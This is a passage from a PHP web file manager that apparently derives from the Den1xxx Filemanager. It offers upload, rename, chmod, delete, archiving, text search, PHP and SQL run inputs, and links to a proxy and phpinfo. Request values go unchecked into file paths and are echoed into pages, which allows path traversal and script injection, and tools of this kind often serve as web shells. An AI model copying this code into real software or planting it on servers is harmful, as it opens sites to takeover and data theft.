                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

